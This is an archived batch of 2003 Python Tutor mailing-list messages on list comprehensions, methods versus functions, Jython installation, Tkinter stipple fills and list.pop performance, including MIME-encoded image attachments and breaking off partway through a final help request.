

From project5@redrival.net  Wed Jun 18 18:41:06 2003
From: project5@redrival.net (Andrei)
Date: Wed Jun 18 17:41:06 2003
Subject: [Tutor] Re: Can you modify every nth item in a list with a  single assignment?
In-Reply-To: <2901.192.206.201.95.1055465309.squirrel@mail.harlekin-maus.com>
References: <3EE916CB.9060208@ccvcorp.com>        <LFEJJJNJEBIGPEPEPLIPEEBJCAAA.gus.tabares@verizon.net> <2901.192.206.201.95.1055465309.squirrel@mail.harlekin-maus.com>
Message-ID: <bcb94g$auv$1@main.gmane.org>

Zak Arntson wrote:
>>Bob Gailer wrote:
>>
>>
>>>>What we need here is a new language feature that lets us provide a
>>>>sequence of index values to a list. Something like:
>>>>
>>>>MyList[(1,4,9,23)] = MyList[(1,4,9,23)] + 43
> 
> 
> One more!
> 
> MyList = [i + 43 for i in (1,4,9,23)]

Hm, orignal post required change every nth item of a list, right?
How about this: I want to multiply every third item with two

 >>> b = [1, 2, 3, 4, 5, 6, 7, 8, 9]
 >>> [ item in range(2, len(b), 3) and 2*b[item] or b[item] for item in 
range(0, len(b))]
[1, 2, 6, 4, 5, 12, 7, 8, 18]

range(2) in order to start multiplying at the third item rather than the 
first.

This any good?

Andrei




From lkvam@venix.com  Wed Jun 18 18:41:22 2003
From: lkvam@venix.com (Lloyd Kvam)
Date: Wed Jun 18 17:41:22 2003
Subject: [Tutor] methods and functions
References: <20030613162823.16562.qmail@web20210.mail.yahoo.com>
Message-ID: <3EEA367B.1080406@venix.com>

printIt is a method.  name is an attribute of class A instances.
 >>> a.name(b)
Traceback (most recent call last):
   File "<interactive input>", line 1, in ?
TypeError: 'str' object is not callable

We can try this:
 >>> a.name = b
 >>> a.printIt()
<__main__.B instance at 0x013B0EA0>

The name attribute of a is no longer a string.  When python
tries to print it, it uses its default machinary to turn that
instance of the B class into a string and then prints the
result.

PrintIt could be written as a regular old function outside the class.
def printIt(arg):
     print arg.name
I changed self to arg simply because there is no longer a self concept.  self
would still be valid Python syntax.

 >>> a=A('Aay')
 >>> printIt(a)
Aay

 >>> printIt(b)
Traceback (most recent call last):
   File "<interactive input>", line 1, in ?
   File "E:\ptg\campgrnd\Script1.py", line 13, in printIt
     print arg.name
AttributeError: B instance has no attribute 'name'

the class A __init__ provided a name attribute for each instance.  The B
instances are missing that attribute.  So printIt is only usefule when it's
argument has a name attribute.  Keeping printIt part of the A class makes
it difficult to pass in an argument that will not work.

HTH

Gerardo Arnaez wrote:
> --- Lloyd Kvam <pythontutor@venix.com> wrote:
>   A method is essentially a function
> 
>>defined within a class body.
> 
> 
> Than is an instance method just passing an some other
> class instace thorught another class instances' method
> 
> ie 
> 
> class A:
>    def __init__ (self,A):
>       self.name=A
> 
>    def printIt(self):
>       print self.name
> 
> class B:
>    def __init__ (self):
>       pass
> 
> 
> a=A('Aay')
> b=B()
> 
> a.name
> 'Aay'
> 
> a.printIt
> 'Aay'
> 
> So what does
> 
> a.name(b) do?
> Is this an instance method?
> 
> Is how a method differs from a function?
> 
> 
> G
> 
> 
> 
> 
> 
> 
> __________________________________
> Do you Yahoo!?
> Yahoo! Calendar - Free online calendar with sync to Outlook(TM).
> http://calendar.yahoo.com
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice:	603-443-6155
fax:	801-459-9582



From Doug.Shawhan@ge.com  Wed Jun 18 18:41:43 2003
From: Doug.Shawhan@ge.com (Shawhan, Doug (EM, ITS))
Date: Wed Jun 18 17:41:43 2003
Subject: [Tutor] jython without all the swingage...
Message-ID: <CE88C8D948CCBE4EB0104ACDC79F299ED2B3B0@CINMLVEM04.e2k.ad.ge.com>

I am attempting to install jython on SunOS 5.8 without any graphical =
environment.

Doing the usual:=20

	java jython-21

gives me the following awfulness:
=09
SunOsBox$ java jython-21
try path /export/home/dshawhan/bin/
exception in called method =
net.sourceforge.liftoff.installer.Install2.main
java.lang.InternalError: Can't connect to X11 window server using ':0.0' =
as the
value of the DISPLAY variable.
        at sun.awt.X11GraphicsEnvironment.initDisplay(Native Method)
        at <Unloaded Method>
        at java.lang.Class.forName0(Native Method)
        at java.lang.Class.forName0(Compiled Code)
        at java.lang.Class.forName(Compiled Code)
        at =
java.awt.GraphicsEnvironment.getLocalGraphicsEnvironment(GraphicsEnvi
ronment.java:63)
        at java.awt.Font.initializeFont(Font.java:262)
        at java.awt.Font.<init>(Font.java:292)
        at net.sourceforge.liftoff.installer.Info.getFont(Info.java:393)
        at =
net.sourceforge.liftoff.installer.awt.InstallerFrame.<init>(Installer
Frame.java:81)
        at net.sourceforge.liftoff.installer.Install2.<init>(Compiled =
Code)
        at =
net.sourceforge.liftoff.installer.Install2.main(Install2.java:130)
        at java.lang.reflect.Method.invoke(Native Method)
        at jython-21.main(Install.java:377)
java.lang.reflect.InvocationTargetException

How can I install the jython interpreter to my local bin directory =
without X?

Thanks!

"Consistency requires you to be as ignorant today as you were a year =
ago." -- Bernard Berenson



From Suresh  Kumar" <suresh_vsamy@rediffmail.com  Wed Jun 18 18:42:02 2003
From: Suresh  Kumar" <suresh_vsamy@rediffmail.com (Suresh  Kumar)
Date: Wed Jun 18 17:42:02 2003
Subject: [Tutor] Canvas rectangle filling
Message-ID: <20030614172600.23040.qmail@webmail18.rediffmail.com>

 This is a multipart mime message


--Next_1055611560---0-203.199.83.28-23025
Content-type: multipart/mixed;
	boundary="Next_1055611560---1-203.199.83.28-23025"

 This is a multipart mime message


--Next_1055611560---1-203.199.83.28-23025
Content-type: text/plain;
	charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Thanks Daniel,=0A     Thanks for your timely help. I got it. I created a "x=
mb" file and filled my rectangle. Still i have some problem that i would li=
ke to bring your attention. =0A       =0A     i have created a stack of rec=
tangles all of same size, say 200 pixel wide and 100 pixel height. Each rec=
tangle is given some color and stipple to "gray75". Then i placed some saml=
l rectangles of some size, say 50 pixel wide and 50 pixel height , on each =
bigger rectangle and assigened some color and stipple to "lines.xbm". I got=
 the o/p such that the smaller rectangles are filled with "line.xbm". But t=
he samller rectangles are looking so transparent. It means, all areas other=
 than ocupied by "line.xbm" is filled with bigger rectangle'c color. My req=
uirement is, all smaller rectangles should be filled with "lines.xbm" and t=
hey should not be transparent. =0A=0A   My coding is as follows:=0A   =0Ase=
lf.canvas.create_rectangle ( 100,100,200,200, fill=3D'blue', stipple=3D'gra=
y75)=0Aself.canvas.create_rectangle( 100,200,200,300,fill=3D'red', stipple=
=3D"gray50")=0Aself.canvas.create_rectangle((100,300,200,400, fill=3D'black=
', stipple=3D"gray25")=0A######### Small rectagnles=0Aself.canvas.create_re=
ctangle(100,150,150,200, fill=3D'black', stipple=3D"@line.xbm")=0Aself.canv=
as.create_rectangle(100,250,150,300, fill=3D'black', stipple=3D"@line.xbm")=
=0A=0A    I attached my required o/p in this mail as "sample.gif". Have a  =
 =0Alook and give me your suggestion and me let me how to avoid transparanc=
y.=0A=0AWith regeards,=0AV.Suresh Kumar.=0A  =0A=0A=0AOn Thu, 12 Jun 2003 A=
bel Daniel wrote :=0A>Suresh  Kumar wrote:=0A> > Hi,=0A> > Iam using python=
/tkinter/pmw in windows.=0A> > Most of graphics languages provides facility=
 to fill the rectangcle with=0A> > horizantal/vertical lines. I know that i=
n tkinter we can fill the canvas=0A> > rectangle's interior using "stipple"=
. But my customer is expecting the=0A> > rectangles to be filled with  diag=
nal/vertical/horizantal lines. Is=0A> > there any direct way is available i=
n tkinter/Pmw to fill the rectangle with=0A> > lines?=0A> > or i have to us=
e "create_line" command explicitly?=0A>Well, creating the lines invidually =
is an option, but i think it's a=0A>rather poor one. You would have to figu=
re out the endpoints of each=0A>line, which might work for rectangles, but =
will get almost impossible=0A>for circles, or arcs.=0A>(Not to mention that=
 you would be creating a lot of lines, which i guess=0A>would impact perfor=
mance.)=0A>=0A>I think the best idea would be to use stipple with custom bi=
tmaps. For=0A>example the following xbm file will create diagonal lines:=0A=
>----8<----=0A>/* Created with The GIMP */=0A>#define lines_width 16=0A>#de=
fine lines_height 16=0A>static unsigned char lines_bits[] =3D {=0A>    0x11=
, 0x11, 0x22, 0x22, 0x44, 0x44, 0x88, 0x88, 0x11, 0x11, 0x22, 0x22,=0A>    =
0x44, 0x44, 0x88, 0x88, 0x11, 0x11, 0x22, 0x22, 0x44, 0x44, 0x88, 0x88,=0A>=
    0x11, 0x11, 0x22, 0x22, 0x44, 0x44, 0x88, 0x88 };=0A>----8<-----=0A>Cop=
y-paste this into a file, call it 'lines.xbm', and use it like:=0A>canvas.c=
reate_rectangle(100,100,150,150, stipple=3D'@lines.xbm', fill=3D'black')=0A=
>=0A>There might be two problems:=0A>1) path to the xbm files. If you put y=
our xbm files somewhere else than=0A>the current directory, I think you wil=
l have to use the full path, like:=0A>... stipple=3D'@/path/to/file.xbm' ..=
.=0A>Which might complicate the matters as you have to keep track of where=
=0A>your xbm files are, and use the appropriate path.=0A>=0A>2) creating th=
e xbm files themselves. If you only need some options like=0A>'diagonal lin=
es, close the each other' or 'vertical lines, far apart'=0A>you could creat=
e some xbm files, and only provide those. (Essentially=0A>hardcoding thos p=
atterns.) If you need more flexibility, like 'lines at=0A>60 degrees angle,=
 2 pixels wide and 7 pixels apart' you will have to=0A>generate xbm files o=
n the fly. A way of pipeing the xbm data would come=0A>handy in this case, =
but I don't know if such exists. You might have to=0A>save the generated xb=
m data to be able to pass the filename to tkinter.=0A>I think generating th=
e xbm files on the fly will be pretty easy, as they=0A>are simply black&whi=
te bitmaps.=0A>=0A>According to=0A>http://www.pythonware.com/library/tkinte=
r/introduction/x2861-options.htm=0A>which is describing the options of arc =
object:=0A>"As of Tk 8.0p2, the stipple option is ignored on the Windows pl=
atform.=0A>To draw stippled pieslices or chords, you have to create corresp=
onding=0A>polygons."=0A>=0A>But I think that doesn't affect other objects. =
(I didn't test on Windows)=0A>=0A>Abel Daniel=0A>=0A>______________________=
_________________________=0A>Tutor maillist  -  Tutor@python.org=0A>http://=
mail.python.org/mailman/listinfo/tutor=0A
--Next_1055611560---1-203.199.83.28-23025
Content-type: text/html;
	charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

<a href=3D"http://www.herohonda.com/karizma" target=3D"_blank">=0A<img src=
=3D"http://immail.rediff.com/icons/rediff_mail_gold/hhsignature_12062003.gi=
f" width=3D"496" height=3D"75" border=3D"0">=0A</a>=0A
--Next_1055611560---1-203.199.83.28-23025--
Content-type: image/gif
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="sample.gif"

R0lGODdhJgEaAfcAAAAAAAAAVQAAqgAA/wAkAAAkVQAkqgAk/wBJAABJVQBJqgBJ/wBtAABt
VQBtqgBt/wCSAACSVQCSqgCS/wC2AAC2VQC2qgC2/wDbAADbVQDbqgDb/wD/AAD/VQD/qgD/
/yQAACQAVSQAqiQA/yQkACQkVSQkqiQk/yRJACRJVSRJqiRJ/yRtACRtVSRtqiRt/ySSACSS
VSSSqiSS/yS2ACS2VSS2qiS2/yTbACTbVSTbqiTb/yT/ACT/VST/qiT//0kAAEkAVUkAqkkA
/0kkAEkkVUkkqkkk/0lJAElJVUlJqklJ/0ltAEltVUltqklt/0mSAEmSVUmSqkmS/0m2AEm2
VUm2qkm2/0nbAEnbVUnbqknb/0n/AEn/VUn/qkn//20AAG0AVW0Aqm0A/20kAG0kVW0kqm0k
/21JAG1JVW1Jqm1J/21tAG1tVW1tqm1t/22SAG2SVW2Sqm2S/222AG22VW22qm22/23bAG3b
VW3bqm3b/23/AG3/VW3/qm3//5IAAJIAVZIAqpIA/5IkAJIkVZIkqpIk/5JJAJJJVZJJqpJJ
/5JtAJJtVZJtqpJt/5KSAJKSVZKSqpKS/5K2AJK2VZK2qpK2/5LbAJLbVZLbqpLb/5L/AJL/
VZL/qpL//7YAALYAVbYAqrYA/7YkALYkVbYkqrYk/7ZJALZJVbZJqrZJ/7ZtALZtVbZtqrZt
/7aSALaSVbaSqraS/7a2ALa2Vba2qra2/7bbALbbVbbbqrbb/7b/ALb/Vbb/qrb//9sAANsA
VdsAqtsA/9skANskVdskqtsk/9tJANtJVdtJqttJ/9ttANttVdttqttt/9uSANuSVduSqtuS
/9u2ANu2Vdu2qtu2/9vbANvbVdvbqtvb/9v/ANv/Vdv/qtv///8AAP8AVf8Aqv8A//8kAP8k
Vf8kqv8k//9JAP9JVf9Jqv9J//9tAP9tVf9tqv9t//+SAP+SVf+Sqv+S//+2AP+2Vf+2qv+2
///bAP/bVf/bqv/b////AP//Vf//qv///yH5BAAAAAAALAAAAAAmARoBQAj/AP8JHCjvX0GB
Bw0SXIiQocKGEB9KTFiwoLOBGC9iFKhxY8eMGw1SdDgyYsmJCxNyDPnv40CXK0NqlKeSpc2b
OHPq3Mmzp82KJIOaFIpyaEOLLGG2TMp0I02iJ6NClRjTY1OrMhHW9Mm1q9evPoEaLUpW6tiR
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
rnfN6177+tfADrawh03sYht7ZwEBADs=

--Next_1055611560---0-203.199.83.28-23025
Content-type: image/gif
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="sample.gif"

R0lGODdhJgEaAfcAAAAAAAAAVQAAqgAA/wAkAAAkVQAkqgAk/wBJAABJVQBJqgBJ/wBtAABt
VQBtqgBt/wCSAACSVQCSqgCS/wC2AAC2VQC2qgC2/wDbAADbVQDbqgDb/wD/AAD/VQD/qgD/
/yQAACQAVSQAqiQA/yQkACQkVSQkqiQk/yRJACRJVSRJqiRJ/yRtACRtVSRtqiRt/ySSACSS
VSSSqiSS/yS2ACS2VSS2qiS2/yTbACTbVSTbqiTb/yT/ACT/VST/qiT//0kAAEkAVUkAqkkA
/0kkAEkkVUkkqkkk/0lJAElJVUlJqklJ/0ltAEltVUltqklt/0mSAEmSVUmSqkmS/0m2AEm2
VUm2qkm2/0nbAEnbVUnbqknb/0n/AEn/VUn/qkn//20AAG0AVW0Aqm0A/20kAG0kVW0kqm0k
/21JAG1JVW1Jqm1J/21tAG1tVW1tqm1t/22SAG2SVW2Sqm2S/222AG22VW22qm22/23bAG3b
VW3bqm3b/23/AG3/VW3/qm3//5IAAJIAVZIAqpIA/5IkAJIkVZIkqpIk/5JJAJJJVZJJqpJJ
/5JtAJJtVZJtqpJt/5KSAJKSVZKSqpKS/5K2AJK2VZK2qpK2/5LbAJLbVZLbqpLb/5L/AJL/
VZL/qpL//7YAALYAVbYAqrYA/7YkALYkVbYkqrYk/7ZJALZJVbZJqrZJ/7ZtALZtVbZtqrZt
/7aSALaSVbaSqraS/7a2ALa2Vba2qra2/7bbALbbVbbbqrbb/7b/ALb/Vbb/qrb//9sAANsA
VdsAqtsA/9skANskVdskqtsk/9tJANtJVdtJqttJ/9ttANttVdttqttt/9uSANuSVduSqtuS
/9u2ANu2Vdu2qtu2/9vbANvbVdvbqtvb/9v/ANv/Vdv/qtv///8AAP8AVf8Aqv8A//8kAP8k
Vf8kqv8k//9JAP9JVf9Jqv9J//9tAP9tVf9tqv9t//+SAP+SVf+Sqv+S//+2AP+2Vf+2qv+2
///bAP/bVf/bqv/b////AP//Vf//qv///yH5BAAAAAAALAAAAAAmARoBQAj/AP8JHCjvX0GB
Bw0SXIiQocKGEB9KTFiwoLOBGC9iFKhxY8eMGw1SdDgyYsmJCxNyDPnv40CXK0NqlKeSpc2b
OHPq3Mmzp82KJIOaFIpyaEOLLGG2TMp0I02iJ6NClRjTY1OrMhHW9Mm1q9evPoEaLUpW6tiR
SLOqxcqWoNmyU4fWVEr3KkiRYPPq3QtWLNyzcf8qTNv2pV3DTt8qDuy36t3CjhE/5Uu5smWM
fhcD3gyX8OPPiCFPFqy5M+Sla0HHHH25teuumRnL5gy0burQqkeX3p3ytG3fWl8LH64zNu3Z
pBX+Vo1aNO/jcoHfjrx6K/Hrw40nh57cM+7v1Ju7/0X+fLD083dZY1//Wnv5972XgxcPXjd5
2XMPh7etnr3/yu7dxx1a9O2nX4H2DYgfevPxZ91/EPa13YTweWfgdAjCp2B+GMpXXYQghiji
iCSWaOKJKKao4oostujiizDGKOOMNNZo44045qjjjjz26OOPQAYp5JBEFmnkkUgmqeSSTDbp
5JNQRinllFRWaeWVWGap5ZZcdunll2CGKeaYZJZp5plopqnmmmy26eabcMYp55x0ghmggnia
x5yHBaKWIIUL8iloSP11eSegeTbW56Bq/amhaYwyiJeYhz7KG4eSLhpcooEeGOl4lCIq6mKY
7unppqN22uGpiY1ZqYCAlgvaIKuOwiqVhZqu2v9qqJba2pupumJVK6fRfTrrrmG+Smx3mTI6
bKrFsippoVwqCy2zwDaLaq+A4WosddRuaS23pmVrrmTkkpqrtsjaeW26VK177ofLqvutvKiC
qco/+wrUL78D/StwwAT7WzDABieMMMAkkKBKww5D/HDDE0dMscQYk7DwwApzvPHBHocM8sgd
k7xwnSinrPLKLLfs8sswxyzzzDTXbPPNOOes88489+zzz0AHLfTQRBdt9NFIJ6300kw37fTT
UEct9dRUV/0VvPUeyy5EWAs2L74cHfRgll2T+7WgYvvK3b3Lpe1u1nCDLfdHbr8b2Nme1u1l
2WpvvWfdfEfEtl16G9ped9eDpwb44UTh3WHh1TIet+O+LR73SYm3Bbm4ktt9od+We04W5X9H
tHfnZmt9duiBzy3tQ2Nj2fqjmX/GOuqvq/7S5lrODivpDd5+ue6f22664cMvWztuwotu3fJh
H78fefLXAr9f84jnXjzvZOOuvPbyYt+59YtyL7v31RM/t/hxQy+e+Vf6nqf7dFP/Fvl0wW+l
/KLinxT7oqMfZqTHOfvBSoAM4d/zwJc/AvYOfY/yn0wASC4Eci1ZEDwgAwlnwLFI0CP6q5IC
kfPBjFCwbxaEHQY7KKoUnnBZJdydA61Gwxra8IY4zKEOd8jDHvrwh0AMohCHSMQiGvGISEyi
EpfIxCY68YlQjKIUp0jFKlrxiljMoha3yMUuevGLYP8MoxjHSMYymvGMaEyjGtfIxja68Y1w
jKMc50jHOtrxjlx5ClD2aB4++rGPgPzjHg+SwkAaUpCHDORWBKgoQyHykYmE5CNVYkFJRvKS
gyzkUShlyU5iMpKL3GBWPEnKQxJSlIVpZLVKycpPVkQemnSlLCcZw6qoUlytzCUmTxmsc+ky
l6Hs5axu2btfznKXtWyOMVkJS1Qyh5hkW+Yxaem3YU7zmpMpJDRlJ81uiiSW3uwkJZ0Zmm3G
L5zYHAwvqxkZdEoymOxcijn35850sqaS9pxlM4VZvF/ZqZ6/hKf/AGrKfhqUPvMUIUGBCc58
knKc/FxXQqmkR4c6dJ0xXKiNIiM6qIlOqaIaFWcyOxLSPu4znkrxqJRAatGAcvRUJR3kQY2l
0iixNKambChO70lOW8bLkS296Exzt9NJjVRP/wzqMiGK0t7E9KTJrCmUbqpUfb50VUXNZk8R
+tNVVjWgOv3qRtUXKak+iapZVedQhZlVgZKVKWZ1ElrF+s6jbvKpYU1WWql51LaulUFx/23S
XPcK1bdiyK+GPU9gmTRYuhbUdWx1rB/d+leQLHZJjUVsZbXW1rwmda9j7atkTbrZfl5WSZkd
bSa3mlLVqjWx2TptklK7U4zC9juava2BZIsk2rqWp1dlS2dZyxLeHsm3Tw2uqRCrza7i8re7
DGtydStR5xYTunWFLGCxS1ntWta60cQuKO0qXpp49kvIVW13B8dc4g4wdtwsb07d6xTukte4
RkpvSG1bWq7WVrnWhO855StIpn5wuAAOD36LpF/JrneD7U2wfzlJYEVKV733BW98QTvZ/son
tx6Gq4bPSZMSm/jEKE6xilfMYlg6wxkQi7GMZ0zjGr/4xS3OsVuOVXzjHvv4x0AOMpBNHCZV
7OvIAEOykpPM5CU7uclQdnLEHkblKVu5yli+ssOizOUne7nLYP6ymMN8Mjya+cxoTrOa18zm
Nrv5zXCOs5znTOc62/nOeM6znvfMOuc++/nPgA60oAdN6EIb+tCITrSiF83oRjv60ZCOtKQn
TelKW/rSmM60pjfN6U57+tOgDrWoR03qUpsw+tSoTrWqV83qVrv61bCOtaxnTeta2/rWuM61
rnfN6177+tfADrawh03sYht7ZwEBADs=

--Next_1055611560---0-203.199.83.28-23025--



From S.Huijgen@Student.TUDelft.NL  Wed Jun 18 18:42:21 2003
From: S.Huijgen@Student.TUDelft.NL (Stephan Huijgen)
Date: Wed Jun 18 17:42:21 2003
Subject: [tutor] TEXT CTRL
Message-ID: <001801c334c4$6ebb9f50$6801a8c0@superyethzer>

This is a multi-part message in MIME format.

------=_NextPart_000_0015_01C334D5.31F4EFC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I have a problem with the text control in python. I want to write a =
string from a textbox to a file, but when i type for example 124 in the =
textbox i get in the file:
1
12
124
in 3 lines..instead of 124 in one line...how does this work properly?

Regards,

Stephan Huijgen

------=_NextPart_000_0015_01C334D5.31F4EFC0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1170" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I have a problem with the text control =
in python. I=20
want to write a string from a textbox to a file, but when i type for =
example 124=20
in the textbox i get in the file:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>1</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>1</FONT><FONT face=3DArial =
size=3D2>2</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>124</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>in 3 lines..instead of 124 in one =
line...how does=20
this work properly?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Regards,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Stephan =
Huijgen<BR></FONT></DIV></BODY></HTML>

------=_NextPart_000_0015_01C334D5.31F4EFC0--




From roypy@sify.com  Wed Jun 18 18:42:36 2003
From: roypy@sify.com (roypy@sify.com)
Date: Wed Jun 18 17:42:36 2003
Subject: [Tutor] graphics tutorial
Message-ID: <1055931006.3ef03a7e316ca@webmail1.maa.sify.net>

dear sir,i am intrested in music vedio devolepment through python programming.please do help me with free tutorial.send reply toroypy@sify.com

jubin roy

-------------------------------------------------
Sify Mail - now with Anti-virus protection powered by Trend Micro, USA.
Know more at http://mail.sify.com

Sify Power mail- a Premium Service from Sify Mail!
know more at http://mail.sify.com


From wari@home.wari.org  Wed Jun 18 18:42:52 2003
From: wari@home.wari.org (Wari Wahab)
Date: Wed Jun 18 17:42:52 2003
Subject: [Tutor] why is list.pop(0) slow?
Message-ID: <3EF09433.6010209@home.wari.org>

I've been playing around with very large lists and found out by chance 
that pop(0) is 8 times slower than pop(). Is it really that bad? 
Performance improved when the list i have is reversed and used pop(). 
See this little snippet of code for example:

---
"""
This shows that poping from the back of the list is faster then the 
beginning
of the list
"""
import profile

def generate(num = 2000):
     return [[] for p in xrange(num)]

def popper(l):
     while l:
         l.pop()

def pooper(l):
     while l:
         l.pop(0)

if __name__ == '__main__':
     print "###### Time taken to generate list"
     profile.run('generate(50000)')
     l = generate(50000)
     print "###### Time taken to pop at the end of the list"
     profile.run('popper(l)')
     l = generate(50000)
     print "###### Time taken to pop at the beginning of the list"
     profile.run('pooper(l)')

"""
This prints:

###### Time taken to generate list
          3 function calls in 0.260 CPU seconds

    Ordered by: standard name

    ncalls  tottime  percall  cumtime  percall filename:lineno(function)
         1    0.040    0.040    0.230    0.230 <string>:1(?)
         1    0.190    0.190    0.190    0.190 pooperpoper.py:7(generate)
         1    0.030    0.030    0.260    0.260 profile:0(generate(50000))
         0    0.000             0.000          profile:0(profiler)


###### Time taken to pop at the end of the list
          3 function calls in 0.260 CPU seconds

    Ordered by: standard name

    ncalls  tottime  percall  cumtime  percall filename:lineno(function)
         1    0.000    0.000    0.260    0.260 <string>:1(?)
         1    0.260    0.260    0.260    0.260 pooperpoper.py:10(popper)
         1    0.000    0.000    0.260    0.260 profile:0(popper(l))
         0    0.000             0.000          profile:0(profiler)


###### Time taken to pop at the beginning of the list
          3 function calls in 8.870 CPU seconds

    Ordered by: standard name

    ncalls  tottime  percall  cumtime  percall filename:lineno(function)
         1    0.000    0.000    8.870    8.870 <string>:1(?)
         1    8.870    8.870    8.870    8.870 pooperpoper.py:14(pooper)
         1    0.000    0.000    8.870    8.870 profile:0(pooper(l))
         0    0.000             0.000          profile:0(profiler)
"""



-- 
Regards: Wari Wahab
RoughingIT - http://roughingit.subtlehints.net
PyBlosxom  - http://roughingit.subtlehints.net/pyblosxom



From avneet_mathur@hotmail.com  Wed Jun 18 18:43:12 2003
From: avneet_mathur@hotmail.com (Avneet Mathur)
Date: Wed Jun 18 17:43:12 2003
Subject: [Tutor] Help
Message-ID: <001901c335dd$673f44b0$6b01a8c0@zeratec>

This is a multi-part message in MIME format.

------=_NextPart_000_001A_01C335B3.7E693CB0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

I am new user to python and was trying to compile the source for
windows. I would appreciate it if someone could help me with it PLEASE
as I get hit with a bunch of errors. I opened up PC/winmain.c in VC++
6.0 and compile. I am using Python 2.2.3 and windows 2000. 
 
